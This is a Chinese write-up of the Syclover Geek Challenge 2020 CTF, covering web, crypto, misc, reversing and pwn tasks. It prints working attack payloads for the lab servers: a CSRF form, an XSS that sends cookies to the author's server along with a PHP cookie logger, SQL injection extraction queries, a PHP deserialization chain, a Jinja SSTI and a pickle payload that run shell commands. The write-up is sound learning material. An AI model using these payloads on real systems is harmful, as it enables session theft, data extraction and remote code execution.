三葉草極客大挑戰2020 部分題目Writeup
三葉草極客大挑戰2020 部分題目Writeup
Web
Welcome
開啟後狀態碼405,555555,然後看了一下報頭存在請求錯誤,換成POST請求後,檢視到原始碼
<?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allowed"); exit(); } else { if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){ show_source(__FILE__); } else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){ phpinfo(); // collect information from phpinfo! } } Payload:POST:roam1[]=1&roam2[]=2
去phpinfo檢視內容,發現存在f1444aagggg.php頁面,開啟又沒內容,再去報文看看,返回包報頭看到flag,為SYC{w31c0m3_t0_5yc_r0@m_php1}
flagshop
一開始不知道怎麼做,然後群裡管理員說修復了BOT,以為是儲存型XSS的考點,然後嘗試了幾種方法都沒作用。然後就去休息了,回來後發現給了hint,說了是CSRF的考點,沒接觸過,百度學習了一下,上個連結:https://juejin.im/post/6844903689702866952,看了一下應該是從提交報告讓BOT轉賬給我們。
先用Burp構造一個CSRF的Poc,這裡需要補充一句:
讓他傳送提交的作用。這裡構造好後要放在VPS上,這裡謝謝m3w師傅提供!
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="target" value="atao" /> <input type="hidden" name="money" value="10000" /> <input type="hidden" name="messages" value="xxx" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit(); </script> </body> </html>
有個驗證碼需要md5加密,寫個指令碼
#coding: utf-8
import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
for c in dic:
for d in dic:
t = str(a)+str(b)+str(c)+str(d)
md5 = hashlib.md5(t).hexdigest()
if md5[0:5] == 'b2156':
print t
print md5
提交的報告內容
<script>
new Image().src = 'Payload的網址';
</script>
過一會兒就轉錢過來了,然後購買flag即可,最後flag為SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}
朋友的學妹
開啟後提示為檢視原始碼,通過檢視獲得註釋內容,上面還有使用base64解碼的字樣,即解碼註釋內容獲得flag,為SYC{F1@_4s_h4Lpfullllll}
EZwww
根據提示存在備份檔案,嘗試發現為www.zip,獲得一個假的flag和原始碼,原始碼如下
<html>
<head>
<title>Lola's website1.0</title>
</head>
<body>
<?php echo '<h1>welcome to my website</h1>'; ?>
<?php echo '<p>i will never forget to backup my website......</p>'; ?>
<?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
</body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>
通過POST請求a變數然後比較base64解碼內容獲得flag,Payload:POST:a=sycl0ver,獲得flag為SYC{Backup_1s_4_good_h4bit_l0l}
EZgit
通過提示知道是使用GitHack獲得原始檔,但是原始檔開啟後得到的是flag is toooo old!,根據題目提示應該是版本的問題,通過命令git log檢視,發現存在另一個版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee進行對比,獲得flag為SYC{I_l0ve_sycl0ver_l0l}
劉壯的黑頁
進去後到最下面看到一段程式碼,GET請求傳入username變數,POST請求傳入passwd變數,兩個變數分別等於admin和syclover獲得flag
Payload:
GET:?username=admin
POST:passwd=syclover
flag為SYC{d0_y0u_k0nw_GET?}
我是大黑客
開啟後看到存在.bak的檔案,然後用蟻劍連線,根目錄下存在flag,flag為SYC{1iuzHuang_yyd_G0d!}
ezbypass
開啟後如下:
Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.
Note that a and b cannot be equal.
傳一個a和b不相等且strcmp後置空,一個等於陣列就可以繞過了
接著是:
OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123
傳入c=123,但不是數字,應該是弱比較
Payload:GET:?a=x&b[];POST:c=123e
flag為SYC{php_4s_so_funny}
知X堂的php教程
存在一個目錄穿梭和一個讀取檔案兩個頁面
分別查看了兩個檔案,目錄穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令執行的漏洞。
但是不知道flag在哪裡,但是可以使用find / -name flag配合``反引號帶出flag檔案的位置
Myblog
題目給出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.
先找找與偽協議有關的內容,這裡從url可以看出來,http://173.82.206.142:8006/index.php?page=home,後面home應該是存在漏洞的,是用偽協議進行讀取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home
然後就是在登陸的地方獲得一下原始碼,主要是驗證的地方
admin/user.php(僅列出主要程式碼)
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>
只需要驗證對if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陸了,username很好實現,但是password和SESSION就不容易,但是置空的話就可以很輕易實現,完成登陸了。
接著從第二點提示可以看出,應該是檔案上傳的洞,找了一下發現只有上傳頭像的功能,那應該就是這裡了,發現只能上傳圖片,最後解析成了圖片,想到了檔案包含,可以是用zip協議這類的,這裡將php檔案壓縮後,更改字尾名,上傳檔案,然後訪問?page=./路徑+上傳檔名%23壓縮包中的檔名,即可。這裡#一定要urlcode編碼。
帶惡人六撞
?id=1'
返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
判斷存在sql報錯注入
先嚐試
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
返回
hacker?
再試試別的報錯函式,這裡想到了上一屆極客大挑戰的extractvalue函式,這裡用^進行連線
?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
返回
XPATH syntax error: '~geek_sql'
然後查看錶名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
返回
XPATH syntax error: '~blog,fllllag'
檢視列名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
返回
XPATH syntax error: '~id,fllllllag'
檢視fllllag表中的fllllllag列
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
返回
XPATH syntax error: '~welcome_to_syclover,longlone_ne'
好像沒有回顯全部內容,應該是extractvalue函式存在回顯長度,配合limit回顯每一行的內容
?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
返回
XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'
告白網站
開啟後是一個留言網站,測試了一下只有留言功能,想到了XSS,不過存在過濾,手工測試了一下過濾了"."、"%"、"&"、"=",這個驗證機制真是要人命,百度了一圈都沒有結果。後來看到了JSfuck,這個好像就是為了防止xss中被waf過濾出現的。
new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;
將上面的內容通過jsfuck加密,然後用<script></script>框起來,傳送,過一會兒就可以看到flag了。
IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}
本來是想用XSS平臺做的,但是一直沒成功,感覺是自己太菜了不會用,因為只會用上面給的程式碼,然後借了Firebasky師傅vps用寫了個php,程式碼如下:
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
pop chain epic
原始碼如下:
<?php
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
//Do you know CVE?
echo "The class pop should never be serialized.";
$this->aaa = NULL;
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
class chain
{
private $AFKL;
protected function getAFKL()
{
return $this->AFKL;
}
}
class epic extends chain
{
public $aaa;
public static $bbb = false;
public function __invoke()
{
return self::$bbb;
}
public function __call($name, $params)
{
return $this->aaa->$name($params);
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} else {
highlight_file(__FILE__);
}
很有趣的一道題目,被帶著一直走,思路沒對,一直以為要和下面那個繼承類的東西合在一起,然後輸出AFKL的值,一開始看到__invoke()魔術方法,感覺很開心,然後測試後發現不行,因為epic類中的bbb也是靜態的false,所以呼叫函式後,pop類中的bbb還是false,所以這裡應該是要呼叫函式,然後取執行$this->aaa[1]($this->aaa[2]),這個也可以從for迴圈中看出來,因為for迴圈只做兩次,說明第一次去了回撥函式,第二次應該不是去回撥函數了。有了接下來的一段php程式碼
<?php
class pop
{
public $aaa;
public static $bbb = false;
}
class chain
{
private $AFKL;
protected function getAFKL()
{
return $this->AFKL;
}
}
class epic extends chain
{
public $aaa;
public static $bbb = false;
}
$a = new pop();
$a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');
object(pop)#1 (2) {
["aaa"]=>
NULL
[""]=>
array(3) {
["object"]=>
string(7) "phpinfo"
[1]=>
string(4) "echo"
[2]=>
string(7) "getAFKL"
}
}
這段程式碼存在一個最致命的錯誤,就是$a->$aaa,這個本來是想對aaa變數進行賦值的,但是前面寫了$,所以這裡出來的類會存在兩個變數,然後因為我一直沒看類的亞子,所以這裡卡成一個傻逼。不過以後也要記住對於類中的變數的賦值!!!
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
}
$a = new pop();
$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');
echo base64_encode(str_replace(":1:",":2:",serialize($a)));
X迪的pyp語言
開啟網站後是一個登陸框,檢視一下原始碼發現了,訪問後獲得了網站的原始碼,如下:
import re
from flask import Flask, render_template_string, request
import templates.templates as tp
app = Flask(__name__)
def isParamLegal(param):
return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)
@app.route('/')
@app.route('/index.php')
def main():
indexTp = tp.head + tp.index + tp.foot
return render_template_string(indexTp)
@app.route('/login.php', methods=["POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
if(isParamLegal(username) and isParamLegal(password)):
message = "Username:" + username + "&" + "Password:" + password
else:
message = "引數不合法"
loginTmpTp = tp.head + tp.login + tp.foot
loginTp = loginTmpTp % message
return render_template_string(loginTp)
@app.route("/hint.php")
def hint():
with open(__file__, "rb") as f:
file = f.read()
return file
if __name__ == '__main__':
app.run(host="0.0.0.0")
考點知道了是SSTI,但是需要構造,不過存在一個自定義函式,對於單個username或者password進行了限制,不能單個構造出{{ }}或者{% %}這樣的內容,但是通過觀察,從message下手依舊是可以的,將"{{"和"}}"分別給username和password變數。構造如下:
username = "{{'"
password = "'.__class__}}"
message = "Username:" + username + "&" + "Password:" + password
print message
#返回
Username:{{'&Password:'.__class__}}
#在網站上測試返回
Username:<class 'str'>
#由於沒啥過濾很容就可以獲得flag了
Payload:
username={{'
password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}
Longlone_Secret1
訪問網址,沒看出來有啥內容,F12檢視原始碼獲得:,GET請求傳入name變數後獲得原始碼,如下
from flask import Flask, request
import base64
import pickle
import io
import sys
import secret
app = Flask(__name__)
class YourSecret:
def __init__(self, name):
self.name = name
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': #只允許__main__模組(白名單)
return getattr(sys.modules['__main__'], name) #返回物件屬性值
raise pickle.UnpicklingError(
"global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def start():
if request.args.get('name'):
text = open(__file__, 'r', encoding='utf-8').read()
return text
else:
return "我之前聽說Longlone深藏著一個祕密,但是今天他居然跟我說他把這個祕密藏在了一個地方,如果我可以找到的話,他就會給我一些獎勵。<br>"\
"<br>但是他和我說要按他說的規矩來:必須湊夠兩個人才能開始遊戲,那麼,你願意和我一起來嗎?<br>"\
"<br>你說你願意?那真的太好了,那麼,在開始之前,告訴我你的名字吧!<br>"\
"<!-- Let me GET your name, so we can get started. -->"\
@app.route('/secret', methods=['GET', 'POST'])
def eql():
if request.method == 'POST': #POST請求才可以繼續做
try:
data = base64.b64decode(request.form.get('secret')) #傳入的secret變數進行base64解碼
if b'R' in data: #opcode程式碼中不能存在"R"字元,opcode中經常使用通過R指令碼進行命令執行
return "嗯?還想開掛?小心把你關進神仙服!"
else:
ser_data = restricted_loads(data) #進行pickle.loads反序列化
if type(ser_data) is not YourSecret: #反序列化後的ser_data應該要屬於YourSecret類
return 'Are U sure this is longlone\'s secret?'
if ser_data.name == YourSecret(secret.name).name: #這裡需要反序列化中的name等於secret類中的name值
return secret.flag #即可獲得flag
else:
return 'The secret is incorrect!'
except Exception as e:
return repr(e) + '<br/>What do U want to do?'
else:
return "相信你也看到Longlone給我們的提示了,那麼你能猜出他的祕密是什麼嗎?<br>"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
重點程式碼是/secret路由,分析寫在上面了,這裡能想到的方式有兩種:1)變數賦值,即在傳入反序列化字串時,就讓name=secret.name,但是這裡多加了一個限制,修改了pickle.Unpickler.find_class()這個函式,使得我們要呼叫secret.name時會報錯:_pickle.UnpicklingError: global 'secret.name' is forbidden,所以這裡使用不了這個方法;2)變數覆蓋,通過GLOBAL指令引入的變數,可以看作是原變數的引用。當在棧上修改它的值時,也會導致原變數也被修改,這裡這主要就是利用了這個方法,原理的話之後會有一篇文章專門總結的。
Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu
轉成opcode編碼
\x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.
簡單的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."
使用的方式是變數覆蓋,RestrictedUnpickler.find_class方法可以返回物件屬性值,其中操作符c可以呼叫該方法,則有了c__main__\nsecret\n;模組__dict__屬性是可以進行修改的,構造一個字典來修改對應鍵為什麼值,構造通過}(S'name'\nS'xxx'\nu完成,然後使用b指令修改__dict__;最後使用0指令將它彈出棧;後接一個YouSecret類轉成opcode字串即可。
Cry
二戰情報員劉壯
使用的是摩斯電碼,flag為SYC{L1UZHU4NGIZ1Y1}
鎧甲與薩滿
使用的是凱撒密碼,flag為SYC{liuzhuangliuzhuang_bangbangbang}
Misc
一“頁”障目
將海報上的字元拼起來即可
壯言壯語
看到了佛曰,為與佛論禪,通過線上網站解碼http://www.keyfc.net/bbs/tools/tudoucode.aspx,獲得flag為SYC{i_l0ve_Japanese_wife}
Re
No RE no gain
使用IDA開啟後,在main函式(不用F5虛擬碼)中直接看到flag
我真不會寫驅動!
應該是非預期了,IDA開啟後在sub_140001010函式直接看到flag,flag為SYC{First_Win64_DRIVER}
re00
題目提示了簡單的異或,先看看主函式有沒有東西,發現了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),異或的點找到了,然後根據上面的內容buf[i]是輸入的字串,所以要去看byte_4060[i]的內容,檢視byte_4060獲得下面的內容
char byte_4060[32]
.data:0000000000004060 byte_4060 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
.data:0000000000004060 ; DATA XREF: main+93↑o
.data:0000000000004060 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
.data:0000000000004060 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h
//n dup(m)的意思為n個m
將內容和0x44異或獲得flag,指令碼如下
a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]
b = 0x44
flag = ''
for i in a:
flag =flag + chr(i ^ b)
print flag
flag為SYC{simple_simple_xorrr_right??}
PWN
數學咋樣?
先用nc連線看看,看到如下
------------------------------------------
Can you help me to solve my math problem?
------------------------------------------
I have 20 tests
![0] num_1 = 180, num_2 = 428
I can't calculate the expression 'num_1 + num_2'.
input your answer:
是一個加法,要迴圈20次就可以獲得flag了,這裡可以直接計算20次加法,也可以使用指令碼,按照提示應該是要用指令碼的。剛好上半年學了一點Pwn,這裡用一下。指令碼如下
import re
from pwn import *
p = remote('81.69.0.47',1111)
p.recvline()
p.recvline()
p.recvline()
for i in range(0,20):
put1 = p.recvline()
put = p.recvline()
calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')
calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')
#print calc1
#print calc2
s = str(eval(calc1+'+'+calc2))
#print s
p.recvline()
put2 = p.recvn(18)
p.sendline(s)
while True:
strr = p.recvline()
print strr
if "SYC" in strr:
break
Pwntools庫的一些常用函式
本地開啟:p=process('./filename')
遠端開啟:p=remote('ip地址',埠)
傳送payload
1)p.send(payload)發生payload
2)p.sendline(payload)傳送payload,並進行換行(末尾\n)
3)p.sendfter(some_string,payload)接收到some_string後,傳送你的payload
接收返回內容
4)p.recvn(N)接受N個字元
5)p.recvline()接收一行輸出
6)p.recvline(N)接收N行輸出
7)p.recvuntil(some_string)接收到some_string為止
本文作者:erR0Ratao
本文連結:https://www.cnblogs.com/erR0Ratao/p/14023017.html